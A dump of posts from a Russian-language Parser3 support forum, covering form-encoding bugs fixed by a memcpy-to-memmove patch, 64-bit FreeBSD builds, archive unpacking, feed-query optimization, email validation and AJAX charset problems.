Перекодировка в windows-1251 ничего не поменяла.\
В $request:body все ок, в $form:text - искажения."
"72784","в $request:body все OK -- значит от веб сервера данные нормально получены.\
\
в некоторых местах у вас символы преобразуются в &#xxxxx;. я вижу только одно место в парсерном коде, где такое преобразование может произойти -- в transcode из utf-8 в однобайтную кодировку (напр. 1251). но transcode начинает работать только если кодировки не совпадают. как такое может быть в вашем случае -- я не очень понимаю.\
\
предлагаю ещё немного поковыряться с тестовым файлом:\
[code]\
@main[]\
<html>\
<body>\
	^$request:charset: '$request:charset'<br />\
	^$request:post-charset: '$request:post-charset'<br />\
	^$response:charset: '$response:charset'<br />\
	^$response:content-type.charset: '$response:content-type.charset'<br />\
\
	<form method=\"post\" enctype=\"multipart/form-data\">\
		<p><textarea name=\"text\" cols=\"120\" rows=\"30\">^taint[html][$form:text]</textarea></p>\
		<p><input type=\"submit\" name=\"do\" value=\"Send\"></p>\
	</form>\
\
</body>\
</html>\
\
@postprocess[body]\
$result[$body]\
[/code]\
\
да, и ради смеха попробуйте другим браузером."
"72785","Не, испорченный символ не в виде ентити, а как какой-то битый символ показывается. Он заменился на ентити при вставке в сообщения на этот форум. Вот как это выглядит в браузере\
http://habreffect.ru/files/5c4/4740874d0/screen.png\
И плюс на скрине результат вывода кодировок.\
В разных браузерах результат одинаковый."
"72786","Причину не нашел. Убрал multipart и файловое поле - баг ушел."
"72787","Приветствую.\
Есть сервер на zenon.net - 64-х битный FreeBSD 6.4.\
Из всех доступных на сайте версий для скачивания после небольшого [url=\"http://www.parser.ru/forum/?id=53002\"]шаманства[/url] получилось поставить только версию 3.4.0 для FreeBSD 7.x x64.\
Но и она как-то неправильно работает. Любые ошибки пишутся в error_log сервера, и всегда одно и то же:\
[code][Tue May 25 21:45:54 2010] [error] [client 178.44.193.9] Premature end of script headers: /bhome/.../parser3.cgi\
terminate called after throwing an instance of 'Exception'[/code]\
\
из командной строки вызывается нормально:\
[code]Parser/3.4.0 (compiled on amd64-unknown-freebsd7.2)\
Copyright(c) 2001-2009 ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Usage: ./parser3.cgi [options] file\
Options are:\
    -f config_file  Use this config file (/path/to/auto.p)\
    -h              Display usage information (this message)[/code]\
\
из браузера показывает:\
[code]Parser/(null)[/code]\
\
но на любой ошибке падает, парсеровкий лог не создается.\
_test.html тоже выходит с ошибкой, код, типа:\
[code]^try{\
	^eval(a+b)\
}{\
	$exception.handled(true)\
	error [$exception.type] $exception.comment\
}[/code]\
тоже не работает.\
\
Хостер предложил как вариант перенести сайт на 32-х битный сервер, где наверняка парсер заработает нормально...\
Но сервер не мой, поэтому такой вариант будет рассматриваться как самый крайний )\
\
Может быть есть мысли как заставить его работать на этом сервере, кто-то сталкивался?\
Или может быть у кого-то есть собранный парсер для 64-х битного FreeBSD 6.4?"
"72788","... на сервере (или собрать самому - это не сложно). Кроме того, не совсем понятно в чем проблема с запуском 32-битной версии для FreeBSD 6.4 - если хостер корректно настроил в системе поддержку совместимости с 32-битными приложениями, то проблем быть не должно (за исключением sql-драйверов, но это обходится - в форуме уже не раз обсуждали решение)."
"72789","собирать пробывал - не получается... пишет что требуется bison, начинаю ставить его - не хватает прав...\
32-х битные ни в какую не хотят работать. с драйверами MySQL и сам не раз сталкивался, но такое вот впервые...\
А хостеру я прозрачно намекал, что неплохо было бы, если б он собрал парсер - он предложил решение в лоб - поменять сервер :)"
"72790","Если терпит день-два - можем сами собрать и выложить.\
Для полноты комплекта. :)"
"72791","со временем надобность будет расти )"
"72792","попробуйте переименовать все auto.p (например в \"auto.p-\"), чтобы для этого тестового файла не выполнялось вообще ничего, кроме него самого.\
\
если кодировка не задана, то это равносильно UTF-8, но, чтобы браузер нормально показал страницу, укажите в приведённом ранее @postprocess (в тестовом файле): \
[code]\
$response:content-type[\
	$.value[text/html]\
	$.charset[UTF-8]\
]\
[/code]\
\
ещё, если возможно, покажите результаты HEAD запроса к этой тестовой странице (без post) например из telnet-а (вдруг тут что-нить необычное будет видно):\
[code]\
telnet zbz 80<enter>\
HEAD / HTTP/1.1<enter>\
Host: zbz<два раза enter>\
[/code]"
"72793","tar: This does not look like a tar archive\
tar: Skipping to next header\
tar: Archive contains obsolescent base-64 headers\
tar: Error exit delayed from previous errors\
Выдаёт такие ошибки\
Пробую скачать по новой и распаковать на комп, тоже какято ошибка не на русском с цифрой 0"
"72794","по моему вы забыли рассказать о том, что вы распаковывали, где вы распаковывали и как вы распаковывали."
"72795","Ну начнём с хостинга http://first.hosted.in\
Скачал в разделе СКАЧАТЬ\
Файлы для установки парсера на Linux:\
parser3sql_10_3_debian5x64_mysql.tar\
parser3conf_1_2_20091215_unix.tar\
parser3_4_0_debian5x64_cgi_xml.tar\
При попытке распаковать на комп выдает сообщение:\
Error reading header after processing 0 entries.\
Гдето полгода назад на hosted.in устанавливал почти без проблем.\
А сейчас даже файлы распаковать не даёт."
"72796","Я уже думал может Trend Micro лупит архивы.\
Так он у меня уже больше года работает и раньше за ним такого не замечалось."
"72798","И антивирус все-таки отключали или нет?"
"72799","[quote]\
При попытке распаковать на комп выдает сообщение:\
[/quote]\
\
КАК распаковываете? (ЧЕМ?)\
\
P.S. на win32 прекрасно распаковывает 7zip или TotalCommander (скорее всего много ещё чего умеет распаковывать tar.gz, просто я не пользуюсь, да и не часто на win32 бывает нужно такое распаковывать)"
"72800","Все auto.p переименовал, в @postprocess $response:content-type добавил.\
Единственное, что изменилось - $response:content-type.charset теперь '' вместо 'UTF-8'. Ошибки остались.\
\
nc zbz 80 выдает:\
[code]HTTP/1.1 200 OK\
Date: Wed, 26 May 2010 08:30:58 GMT\
Server: Apache/2.2.14 (Ubuntu)\
Content-Length: 418\
Connection: close\
Content-Type: text/html; charset=UTF-8[/code]"
"72801","Мине шо делать нечего или я самый умный, чтобы переименовывать то шо не знаю.\
Я вам написал то как оно скачалось."
"72802","WinZip конечно.\
7Zip эти фалы не видет, потому что в карточке он пропадает когда, хочу распаковывать, а остаются rar b zip.\
А они дают тот ответ о котором писал."
"72803","Закачивал с Cpanel."
"72804","вот обратите внимание на то, что в разделе скачать файлы tar.gz, \
\
сделайте так, чтобы у вас на диске файлы с точно таким-же размером и точно таким-же расширением, а после этого будет иметь смысл продолжать."
"72805","у меня иссякли варианты.\
\
предлагаю попробовать собрать бинарник самому. возможно это не доставит проблем. надо скачать исходники, распаковать их как написано  в доке и запустить ./buildall-with-xml"
"72806","Что-то сомневаюсь, что самостоятельная сборка бинарника может чему-то помочь. :)\
\
2zobzn: Если после этого:\
\
^form:text.save[form.txt]\
^request:body.save[request.txt]\
\
В request.txt все OK, а в form.txt - битые данные, то это действительно полная мистика. У меня проблема не повторяется. Что может быть у вас - сложно сказать, возможности удаленной диагностики исчерпаны. Так что боюсь только при наличии ssh доступа можно будет в отладчике посмотреть, что именно идет не так."
"72807","Наверно завтра все-таки прийдется попробовать собрать бинарник у себя. И тогда если не исправится, попробую организовать ssh доступ."
"72812","Сборка парсера не помогла. Ни 3.4.0 ни HEAD версия. Все равно те же самые битые данные.\
Тогда к следующей неделе попробую организовать ssh доступ. Мне нужно еще что-то дополнительно установить, что может понадобиться при дебаге?"
"72813","Здравствуйте. Нужна ваша подсказка в оптимизации запроса или советы по изменению структуры БД. Прошу прощения, что написал в этот форум, но тут много умных людей, надеюсь на вашу помощь.\
\
Задача: есть таблица с пользователями, их дружбой, есть сообщения. Нужно вывести пользователю с user_id 30 последних сообщений, которые соответствуют схеме: его сообщения, все сообщения его друзей которые написаны сами по себе (parent_message_id = 0) и сообщения друзей, написанные вашим взаимным друзьям.\
\
[code]\
user: user_id, name...\
friendship: friendship_id, user_id, friend_user_id...\
message: message_id, parent_message_id, user_id, op_user_id\
[/code]\
\
parent_message_id - id родительского сообщения\
op_user_id - id пользователя в ответ на которое написано данное сообщение\
\
Мой вариант решения был такой:\
\
1. Получаем моих друзей (user_friends)\
\
[code]\
SELECT * FROM message\
		JOIN\
			user ON (user.user_id = message.user_id)\
		LEFT JOIN\
			user AS op_user ON (op_user.user_id = message.op_user_id)\
WHERE\
		user_id = $self.user_id\
		^if($user_friends){OR (user_id IN (^foreach[$user_friends;f]{$f.friend_user_id}[,]) AND op_user_id IN (0, $self.user_id ^foreach[$user_friends;f]{, $f.friend_user_id}))}\
[/code]\
\
Да, OR использовать в выражении плохо. Можно заменить на 2 запроса SELECT через JOIN.\
\
[b]Но вот что делать с большим кол-вом user_friends. Т.к. кол-во дружб может быть и 50000 (что уже есть).[/b]\
\
Подскажите вариант по оптимизации, очень нужен совет."
"72814","Первое что приходит в голову: в таблицу юзера писать дату его последнего сообщения. И выбирать (для построения запроса к сообщениям) не всех друзей, а только тех кто недавно писал (с нужным лимитом)."
"72815","Идея хорошая, но опять же есть вероятность, что из 50000 тысяч друзей будет 2-3 тысячи активных.\
\
Логика аналогичная twitter, но вот как они это реализовали..."
"72816","Я имел ввиду, что кол-во друзей отсортированных по дате сообщения (по убыванию) -- будет равно кол-ву сообщений которые нужно отобразить в ленте. таким образом из 50 тысяч остается то количество которое нужно для ленты.\
\
Небольшая сложность в другом: \
[quote]и сообщения друзей, написанные вашим взаимным друзьям.[/quote]\
тоесть выводим вовсе не все сообщения друзей. и тут вариант с датой последнего сообщения не прокатит - так как последнее сообщение друга может быть адресовано юзеру который не является взаимным.\
\
P.S. В твиттере используют кассандру и свою собственную flockDB для хранения графов."
"72817","# Denwer: default charset.\
#\
AddDefaultCharset UTF-8\
\
\
\
запись в файле user/local/apache/conf/httpd.conf"
"72818","В статье http://highload.com.ua/index.php/2010/04/24/%D0%B4%D0%B5%D0%BB%D0%B0%D0%B5%D0%BC-%D0%BB%D0%B5%D0%BD%D1%82%D1%83-%D0%BE%D0%B1%D0%BD%D0%BE%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B9-%D0%BD%D0%B0-mongodb-php/ предлагается генерировать ленты сообщений для каждого пользователя при написании сообщения.\
\
Вопрос в том насколько это оправдано. Если учитывать что это будет делаться в фоновом режиме, то и 50000 не должно стать проблемой. А если это 5 миллионов.\
\
Интересно, как это в твиттере."
"72819","... например, http://highload.com.ua/index.php/2009/12/03/twitter-architecture-and-scaling/"
"72820","Кроме gdb скорее всего ничего не потребуется. :)\
Доступ слать на moko@moko.ru."
"72821","Вполне логичное решение для обхода проблемы с тяжелыми выборками. Из минусов остается лишь избыточность данных. это означает что стоит заранее продумать возможность горизонтального масштабирования. \
\
[quote]Вопрос в том насколько это оправдано. Если учитывать что это будет делаться в фоновом режиме, то и 50000 не должно стать проблемой. А если это 5 миллионов.[/quote]\
Вполне оправдано если проект в этом нуждается. 5 миллионов апдейтов будут выполнятся чуть дольше чем 50 000 вот и все. тут должна пригодится репликация master-slave. Тему AMQP, который идеально подходит для решения задачи доставки информации о событиях пользователям, можно вообще развить и использовать не только для фоновых операций, а сделать очереди для каждого пользователя, например.\
\
Вообще я не спец по оптимизации таких крупных систем, но считаю что решать проблемы оптимизации стоит решать по мере их поступления (впрочем это неизбежно). Так как, всех сложностей, с которыми столкнется проект в жизни, предугадать сложно. Да и оно может того не стоить если проект не поплывет.\
Однако, это не отменяет проектирование грамотной архитектуры на раннем этапе."
"72822","Про Digg в свое время было больше статей и более детальные. Они писали про проблемы масштабирования, с которыми сталкивались. Про твиттер, к сожалению, почти ничего нет."
"72824","http://www.slideshare.net/Blaine/scaling-twitter\
http://www.slideshare.net/ryansking/scaling-twitter-with-cassandra\
http://www.slideshare.net/kevinweil/nosql-at-twitter-nosql-eu-2010\
\
и далее...\
http://www.slideshare.net/search/slideshow?q=twitter+scale"
"72826","Проблема есть, есть и решение. Интересно, что вылезло это только на конкретной конфигурации - получается во всех остальных системных библиотеках используется реализация memcpy, которой не принциально пересечение областей. Но потенциально может вылезти где угодно и когда угодно. :( На остальные memcpy в коде тоже посмотрим.\
\
man memcpy:\
\
[quote]\
The  memcpy() function copies n bytes from memory area src to memory area dest. The memory areas should not overlap. Use memmove(3) if the memory areas do overlap.[/quote]\
\
>cvs diff -u pa_common.C\
Index: pa_common.C\
===================================================================\
RCS file: /parser3project/parser3/src/main/pa_common.C,v\
retrieving revision 1.259\
diff -u -r1.259 pa_common.C\
--- pa_common.C 25 May 2010 09:30:30 -0000      1.259\
+++ pa_common.C 1 Jun 2010 13:18:16 -0000\
@@ -102,7 +102,7 @@\
        while(char* eol=(char*)memchr(bol, '\\r', eob -bol)) {\
                size_t len=eol-bol;\
                if(dest!=bol)\
-                       memcpy(dest, bol, len);\
+                       memmove(dest, bol, len);\
                dest+=len;\
                *dest++='\\n';\
\
@@ -114,7 +114,7 @@\
        }\
        // last piece without \\r\
        if(dest!=bol)\
-               memcpy(dest, bol, eob-bol);\
+               memmove(dest, bol, eob-bol);\
        str[length]=0; // terminating\
 }\
\
P.S. Вызов fix_line_breaks идет из VForm::AppendFormEntry."
"72827","После патча вроде все исправилось. Больше проблем не встречал.\
Всем большое спасибо за помощь."
"72828","Я передаю через POST русский (да вообще любой) текст (у меня форма и используется AJAX). Текст передаётся в виде %3Cp%3E%0A%09%D0%A2%D0%B5%D0%BA%D1%81%D1%82%2C+%D0%B2%D1%8B%D0\
\
как его преобразовать обратно?"
"72829","http://www.parser.ru/f/1/examples/js_http_request/JSHttpRequest.zip\
\
JSHttpRequest.p"
"72830","Здравствуйте все в форуме.\
Хочу передавть данные для отправки почты через Mysgl.\
Так вот.\
Перед тем как записать в Mysgl название, имя и адрес, наверное надо былобы соорудить какуюто проверку почты и имени.\
Нашёл в класе Lib такую строку:\
###########################################################################\
# check email format проверить электронную почту\
@isEmail[sEmail][result]\
$result(\
	def $sEmail\
	&& ^sEmail.pos[@] > 0\
	&& ^sEmail.match[^^(?:[-a-z\\d\\+\\*\\/\\?!{}`~_%&'=^^^$#]+(?:\\.[-a-z\\d\\+\\*\\/\\?!{}`~_%&'=^^^$#]+)*)@(?:[-a-z\\d_]+\\.){1,60}[a-z]{2,6}^$][i]\
)\
#end @isEmail[]\
###########################################################################\
и для прверки почты хочу её применить, но не знаю в каком месте прописать её.\
Привожу код куда имею желание её пристроить:\
###############################################################\
@body_main[]\
^connect[$connect_oly_string]{$cats[^table::sql{select * from preference where id ='$form:id'}]\
   ^if($cats){ \
      ^cats.menu{		\
$Tut[$cats.title]\
	    \
<form action=\"/ne.html?id=$cats.id\" method=post enctype=\"multipart/form-data\">\
\
<table cellspacing=0 cellpadding=0 border=1 bordercolor=#f2f2f2 width=100%>\
\
<tr>\
    <td width=30%><b>Название:</b> </td>\
    <td width=70%><b>$cats.title</b>\
</td>\
</tr>\
\
<tr>\
    <td width=30%><b>Добавленно:</b></td>\
    <td width=70%><b>$cats.data</b></td>\
</tr>\
\
<tr>\
<td width=100><b>Цена:</b></td>\
<td width=100><b></b>$cats.pipes</td>\
</tr>\
\
\
<tr>\
<td><b>Описание:</b></td>\
<td><b></b>$cats.body</td>\
</tr>\
\
<tr>\
<td><b>Для получения ссылки скажите кто вы</b></td>\
<td><input type='text' name='name' id='name' value='' size='30'></td>\
</tr>\
\
<tr>\
<td><b>Куда вам стправить ссылку</b></td>\
<td><input type='text' name='email' id='email' value='' size='30'></td>\
</tr>\
\
<tr>\
<td><b>А потом</b></td>\
<td><input type='submit' name='submit' value='Отправить запрос'></td>\
</tr>\
\
<tr>\
<td><b>А если передумаете</b></td>\
<td><input type=reset value='Отмените запрос'></td>\
</tr>\
</table>\
</form>}}}\
^if(def $form:name && def $form:email){\
^connect[$connect_oly_string]{^void:sql{insert into employees (name, email, title) values ('$form:name', '$form:email','$cats.title') \
      }\
	  Благодарим за заказ, через секунду ссылка будет отправлена вам на указаный адрес \
	  $url[http://localhost/nakcategory.html]\
$response:refresh[ \
   $.value(2) \
   $.url[$url] \
]\
      } \
}{ \
   …для добавления новости необходимо заполнить все поля формы \
}\
#########################################################\
И ещё хотелось бы както имени проверочку устроить, чтобы оно хоть из одного символа не состояло."
"72831","[code]\
^if(^form:name.length[] > 1 && ^Lib:isEmail[$form:email]){\
	^connect[$connect_oly_string]{^void:sql{insert into employees (name, email, title) values ('$form:name', '$form:email','$cats.title') \
}[/code]"
"72832","спасибо, только как вызывать этот метод? если   ^JSHttpRequest.decodeText[%3Cp%3E%0A%09] - то это выдает ошибку, если  ^JSHttpRequest:decodeText[%3Cp%3E%0A%09] то требует чтобы результат в хеш передавался, а он в итоге оказывается пустой."
"72833","разобрался. \
в общем для тех кто тоже столкнется.\
\
$aaa[^hash::create[^JSHttpRequest:decodeRequest[]]]  - заберём тело пост запроса\
\
а потом выведем содержимое\
\
^aaa.foreach[key;value]{ \
        $key=$value \
}[<br />] \
^aaa._count[] \
\
Janek - спасибо за помощь!!!!!"
"72834","^pfValidate:isValidEmail[blabla]\
http://code.google.com/p/parser3-pf/\
\
через браузер:\
<input class=\"validate['required','email']\" />\
http://mootools.floor.ch/en/demos/formcheck/"
"72835","и всё же не работает c русским тестом.("
"72837","так стоит последняя версия. а всёравно косяки с русским тестом? или тут естьк акой-то специальный оператор?"
"72838","Тогда как происходит работа с аяксом на стороне клиента и сервера?\
Покажите код."
"72839","Запрос выглядит так:\
 $.post('/admin/funcs/', { 'update_minipageblock' : '1','id':$(\"#minipage_id\").val(),'name':$('#minipage_name').val(), ....\
\
\
ну соответственно у же на стороне сервера:\
$bodyh[^hash::create[^JSHttpRequest:decodeRequest[]]] \
$body[]\
^bodyh.foreach[key;value]{\
	^if($key eq update_minipageblock){\
		$bbb[^hash::create[^JSHttpRequest:decodeRequest[]]] \
		$body[]\
		^bbb.foreach[key;value]{\
				$body[$key=$value&$body] \
		}\
		^void:sql{update pages_ru set name='^get_parametr[$body;name]', text='^get_parametr[$body;text]', active='^get_parametr[$body;isactive]',text2='^get_parametr[$body;text2]', text3='^get_parametr[$body;text3]' where id=^get_parametr[$body;id]}\
	}\
}"
"72840","А теперь попробуйте вместо всей этой лабуды честно работать с полями формы:\
[code]$form:update_minipageblock\
$form:id\
и т.д.[/code]"
"72841","да, попробовал, только от этого разница не большая - русский текст всё равно выводится в виде html-encoded"
"72842","на сайте в тектсовой форме <p> а</p>  а уже парсер выводит <p> Р°</p>"
"72843","Какие response и request charset указаны?\
В какой кодировке браузер показывает сайт?"
"72844","да, кодировка помогла. поставил utf8 спасибо!!!!"
"72845","и маленькая проблемка) - как заставить JQUERY передавать параметры?\
т.е. если вот так передовать $.post('/admin/funcs/', { 'update_minipageblock' : '1','id':$(\"#minipage_id\").val(),'name':$('#minipage_name').val(), ....\
\
то ничего не передаётся(смотрю в FireBug), однако если в консоли открыть запрос в новой вкладке то все параметры передаются."
"72846","в общем всё же не передаются постом значения $form:....\
\
можно их получить только через $request:body\
\
а потом с помощью класса этого переконвертировать, но в итоге всёравно русский текст остаётся каким был - т.е. html-encoded"
"72847","Почитайте про формат json, как он формируется.\
Важно понимать какие значения надо квотить, а какие нет.\
В качестве теста желательно квотить всё."
"72848","пробовал заквотить всё - тот же результат. всё нормально, кроме русского текста"
"72849","А как показывает firebug отправляемые данные, там нормально выглядит русский текст?"
"72850","1)если смотреть на пост запрос в консоли firebug то $form не работют,т .е. только если $response.body и т.д.\
в таком варианте надо использовать ^JSHttpRequest:decodeRequest[] и тогда отображается всё номально кроме русского текста\
\
2) если же в консоли firebug правой кнопкой на запросе-> показать в новом окне. то в этом случае уже $form:... работают и!!! русский текст показывается нормально без ^JSHttpRequest:."
"72851","Только надо смотреть не в новом окне, а просто разворачивать запрос (кликать на него один раз).\
Там должны быть соотв. табы со всей информацией:\
Headers Post Response JSON"
"72852","1) смотрю вкладки запроса:\
в Post всё отображается как надо \
в HTML русский текст в html-encoded\
в ОТВЕТ - пусто!!! а должно отображаться $form:text (text - это параметр который я в пост-запросе передаю). А вот если открыть запрос  в новом окне то я увижу содержимое $form:text"
"72853","Для меня пока сложно. Так как я в этом новичёк"
"72854","Во, это самое то что нужно.\
Спасибо помогло."
"72855","Вам надо проверить, чтобы на сервер нормально приходил русский текст. Для отладки сохраняйте в файл поля формы.\
\
С ответом разберётесь потом отдельно."
"72856","а как это сделать? на сервер руский текст приходит криво - где икать проблему? фаербаг показывает что в пост запросе текст русский отображдается нормально."
"72857","Проверить ещё раз везде кодировки (в том числе и в закладке Headers). \
Уверены, что текст приходит криво? $response:body в файл сохраняли?\
Парсер точно последний?"
"72858","[code]^form:text.save[/text-debug.txt][/code]\
\
и посмотреть что будет в файле"
"72859","парсер вроде последний (так говорит админ) - а как можно проверить?\
\
из информации из firebug\
\
Content-type у ответа: Content-Type	text/html; charset=WINDOWS-1251\
\
Content-type у запроса: Content-Type	application/x-www-form-urlencoded; charset=UTF-8\
\
вижу что они разные хотя в @auto[] указано так:\
	$request:charset[windows-1251]\
	$response:charset[windows-1251]\
	$response:content-type[\
		$.value[text/html]\
		$.charset[$response:charset]\
	]"
"72860","[url=/forum/?id=72844]тут[/url]\
\
т.к. данные от скрипта вы получаете в utf-8, то в $response:charset (и $response:content-type.charset) должно быть utf-8\
\
если другие ваши страницы отдаются в 1251, вы можете только для этой страницы указать utf-8."
"72861","да писал. но потом ещё писал)\
\
я сам не понимаю почему так: если я смотрю прям в консоли firebug'a то там русский текст на закладке ответ может выдаваться только если в парсерном файле выводить его через request.body и выводиться он в хтм-энкодед. если же открыть данный пост запрос в новой вкладке то тогда выводится текст нормально и причём его можно вывести через $form...вот. поэтому когда я писал про то что всё заработало - это заработало для отображения запроса в новой вкладке. а так на самом деле всё по старому"
"72862","сделайте правильно, потом продолжайте разбираться и проверять записью значения form с русскими буквами в файл (а про ручное декодирование упомянутым классом забудьте)\
\
и сначала разберитесь со входящими данными, и только потом будете разбираться с исходящими ($response:charset влияет и на входящие данные)\
\
P.S. приводите код, т.к. угадать что именно вы сделали -- не получается.\
\
P.P.S. прочитайте FAQ по использованию форума и используйте [code/]"
"72863","1)ещё раз запрос: [code]$.post('/admin/funcs/', { 'add_newminipageblock' : '1','name':$('#minipage_name').val(),......[/code]\
2)есть файл auto.p по адресу /admin/funcs/\
его код:\
[code]\
@auto[]\
	$request:charset[UTF-8]\
	$response:charset[UTF-8]\
	$response:content-type[\
		$.value[text/html] \
		$.charset[$response:charset]\
	]\
@main[]\
^connect[$SQL.connect-string]{\
\
		^get_data[]\
	\
\
}\
@get_data[]\
$aaa[^hash::create[^JSHttpRequest:decodeRequest[]]] \
^aaa.foreach[key;value]{ \
$key=$value \
}[<br />] \
[/code]\
\
русский текст выводится в html-encoded, английский текст выводится нормально. парсер обновил до самой последней версии\
\
т.е. если смотреть в firebag во вкладке ответ:\
[code]\
parentid=2 <br /> name=%D0%9D%D0&#65533;%D0%B7%D0%B2%D0&#65533;%D0%BD%D0%B8%D0%B5+CAPTION <br /> update_minipageblock=1 <br /> category=countries <br /> isactive=0 <br /> subcategory=infopage <br /> text='&lt;p&gt;\
%D0%A2%D0%95%D0%9A%D0%A1%D0%A2!&lt;%2Fp&gt;' <br /> id=1 \
[/code]"
"72864","Вам уже несколько раз написали, что надо забыть про ответ с сервера. Он тут пока не важен.\
И вместо JSHttpRequest надо взять данные из формы и положить их в файл:\
[code]^form:name.save[/name.txt][/code]"
"72865","Тест _antispam.html на http://www.parser.ru/examples/antispam/ работает без проблем. _antispam_turing.html по логам 'match' undefined method в Antispam.p (202:15). В файле _test.html ошибок нет. Parser собирался непосредственно под систему"
"72866","в 202 строке вместо того, что там написано напишите:\
[code]\
$VALUE[^if(def $VALUE){^VALUE.match[:.+^$][]{}}:$sValue]\
[/code]\
\
P.S. спасибо, поправлю."
"72867","Чтобы не изобретать велосипед. В примере отсутствует тест Тьюринга (распознавание картинки), присутствует выполнение арифметического вычисления. Имеется ли аналог простой captch'и в картинке?\
Спасибо."
"72869","Уважаемые коллеги, кто-нибудь пробовал собрать\\установить парсер под этот хост?\
Если у кто-то хостился на нем, пожалуйся отпишите что из себя представляет этот хост."
"72870","Поиск по форуму - штука полезная."
"72872","Здравствуйте всем.\
Сделал так:\
-------------------------------\
@body_main[]\
^connect[$connect_oly_string]{$cats[^table::sql{select * from preference where id ='$form:id'}]\
   ^if($cats){ \
      ^cats.menu{		\
	    \
<form action=\"/ne.html?id=$cats.id\" method=post enctype=\"multipart/form-data\">\
\
<table cellspacing=0 cellpadding=0 border=1 bordercolor=#f2f2f2 width=100%>\
\
<tr>\
    <td width=30%><b>Название:</b> </td>\
    <td width=70%><b>$cats.title</b>\
</td>\
</tr>\
\
<tr>\
    <td width=30%><b>Добавленно:</b></td>\
    <td width=70%><b>$cats.data</b></td>\
</tr>\
\
<tr>\
<td width=100><b>Цена:</b></td>\
<td width=100><b></b>$cats.pipes</td>\
</tr>\
\
\
<tr>\
<td><b>Описание:</b></td>\
<td><b></b>$cats.body</td>\
</tr>\
\
<tr>\
<td><b>Для получения ссылки скажите кто вы</b></td>\
<td><input type='text' name='name' id='name' value='' size='30'></td>\
</tr>\
\
<tr>\
<td><b>Куда вам стправить ссылку</b></td>\
<td><input type='text' name='email' id='email' value='' size='30'></td>\
</tr>\
\
<tr>\
<td><b>А потом</b></td>\
<td><input type='submit' name='submit' value='Отправить запрос'></td>\
</tr>\
\
<tr>\
<td><b>А если передумаете</b></td>\
<td><input type=reset value='Отмените запрос'></td>\
</tr>\
</table>\
</form>}}}\
^if(^form:name.length[] > 1 && ^Lib:isEmail[$form:email]){\
^connect[$connect_oly_string]{^void:sql{insert into employees (huk, name, email, title, urlis) values ('$form:id','$form:name', '$form:email', '$cats.title', '$cats.urlis') \
      }\
	  Благодарим за заказ, через секунду ссылка будет отправлена вам на указаный адрес\
^connect[$connect_oly_string]{$cas[^table::sql{select * from employees where huk ='$form:id'}]}	  \
	  $url[http://localhost/nakcategory.html?id=$cas.huk]\
$response:refresh[ \
   $.value(2) \
   $.url[$url] \
]\
      } \
}\
   …для добавления новости необходимо заполнить все поля формы \
------------------------------------------\
Работает нормально, но вот если на эту страничку, заходить со стороны не указывая ID, то она показывается пустой.\
А хотелось бы чтобы она чтото делала, ну к примеру, отправляла бы на главную.\
Хочу использовать этот код:\
--------------------\
	  $url[http://localhost/nakcategory.html?id=$cas.huk]\
$response:refresh[ \
   $.value(2) \
   $.url[$url] \
]\
---------------------\
Но не знаю куда его вписать, что бы он при переходе по ссылке с ID перенаправлял, куда и перенаправляет, а при входе по этому адресу без ID, перенаправлял на другую страничку. \
Может у кого есть решение."
"72874","Вы бы и написали что форум для выпендрежа мастаков, друг перед другом.\
Тогда бы, у начинающих с парсером и заигрывания небылобы.\
А то нарассказывали тут побрехеньки, что парсер немного сложнее HTML, А некоторые тупари в программировании на подобие меня и ведутся."
"72875","если вы не понимаете простую логику - поучитесь вначале ей. Азам.\
Тут каждый это прошел.\
\
Если каждый раз будут отвечать на ваш простейший вопрос - сами вы ничему не научитесь, хотя нужно..."
"72876","А что бессоница замучает, если начинающему подсажите что почём и почему.\
Или тут политика ЧЧВ.\
Если это так, то далеко уйдёте и вы и вся работа создателей парсера.\
И появится очередная хорошая задумка, которая загнётся так и не встав на ноги.\
Знаю умею и в могилу ссобой заберу.\
А на счёт логики, так при чём тут она, если я с парсером впервые сталкиваюсь, и пытаюсь хоть чтото накалякать, но недоганяю куда именно прописать тот или иной код.\
Если в HTML в таблице есть строки и столбцы то здесь есть и ещё чтото.\
И если я интересуюсь об этом чтото, то я не понимаю простую логику?"
"72877","ну для начала нужно прочитать хотя документацию: http://www.parser.ru/docs/\
\
хотя бы раздел про операторы, в нем есть ответ на ваш последний топик.\
\
хотя нет, лучше вначале попробуйте написать тот же кусок хотя бы на Perl или хотя бы PHP, чувствуете разницу?\
вот в этом Parser и есть немного сложнее чем HTML.\
\
[quote]А на счёт логики, так при чём тут она, если я с парсером впервые сталкиваюсь, и пытаюсь хоть чтото накалякать, но недоганяю куда именно прописать тот или иной код.[/quote]\
\
она тут как раз в первую очередь имеет значение. Вам посоветовали купить книгу, еще один совет - прочтите хотя бы в интернете азы, это сильно поможет.\
\
еще раз повторюсь, никто не обязан думать за вас, если есть действительно сложная задача (почитайте на форуме хотя бы последние треды) - приходите."
"72878","И что тяжело было написать.\
впиши:\
^if($cats.id == 0){\
херня мой друг	  \
$urls[http://localhost/na.html]\
$response:refresh[ \
   $.value(2) \
   $.url[$urls] \
]}\
между кодом формы и ифом следущего кода.\
Надо обязательно человека, кудато послать, да ещё и впридачу тренд закрыть?\
В это помощь на форуме выражается?\
Я ж говорю вы тут со своей логикой и гонором, скоро полностью человеческое лицо теряете(будет вместо лица цифровая морда), и в конце концов, дуруг другуа, будете посылать читать литературу про программирование."
"72879","ну что делать, а учиться думать самостоятельно надо :). Вот вы нашли метод решения своей задачи сами, получили какое-то наслаждение за рабочий вариант кода - это и есть кайф от программирования чего либо. Когда долго что-то не получается, а потом раз все пучком.\
А логике программирования надо учиться, без неё ни как."
"72880","видите, когда начинаете сами разбираться и отношение совсем другое.\
продолжайте в том же духе...\
\
тяжело никому не было написать, просто действительно, многое нужно додумать (читай думать) самому, и чем больше вы поймете -- тем лучше, в следующий раз не будете задавать таких вопросов.\
\
Посудите сами - ответили бы вам в первой ветке на ваш вопрос, вы бы не поняв как это работает вставили бы эту конструкцию и все - \"работающий код\", а потом бы снова пришли с таким вопросом. :)\
\
и не нужно обижаться на жизнь и модераторов форума. все есть в документации, и да будет у вас счастье (Аминь) (гг) :)\
\
P.S.: ах да, пользуйтесь, пожалуйста BB-тегом \"CODE\", это не сложно, вначале вставляете свой код, потом выделяете его и снизу нажимаете на ссылку \"код программы\" - сразу всем будет легче :)\
И не подумайте что я докапываюсь или что-то в этом роде, просто так действительно легче код смотреть."
"72881","на самом деле доработка от Eugene сделана для старого класса antiflood, и она в лоб к классу antispam не подключается.\
\
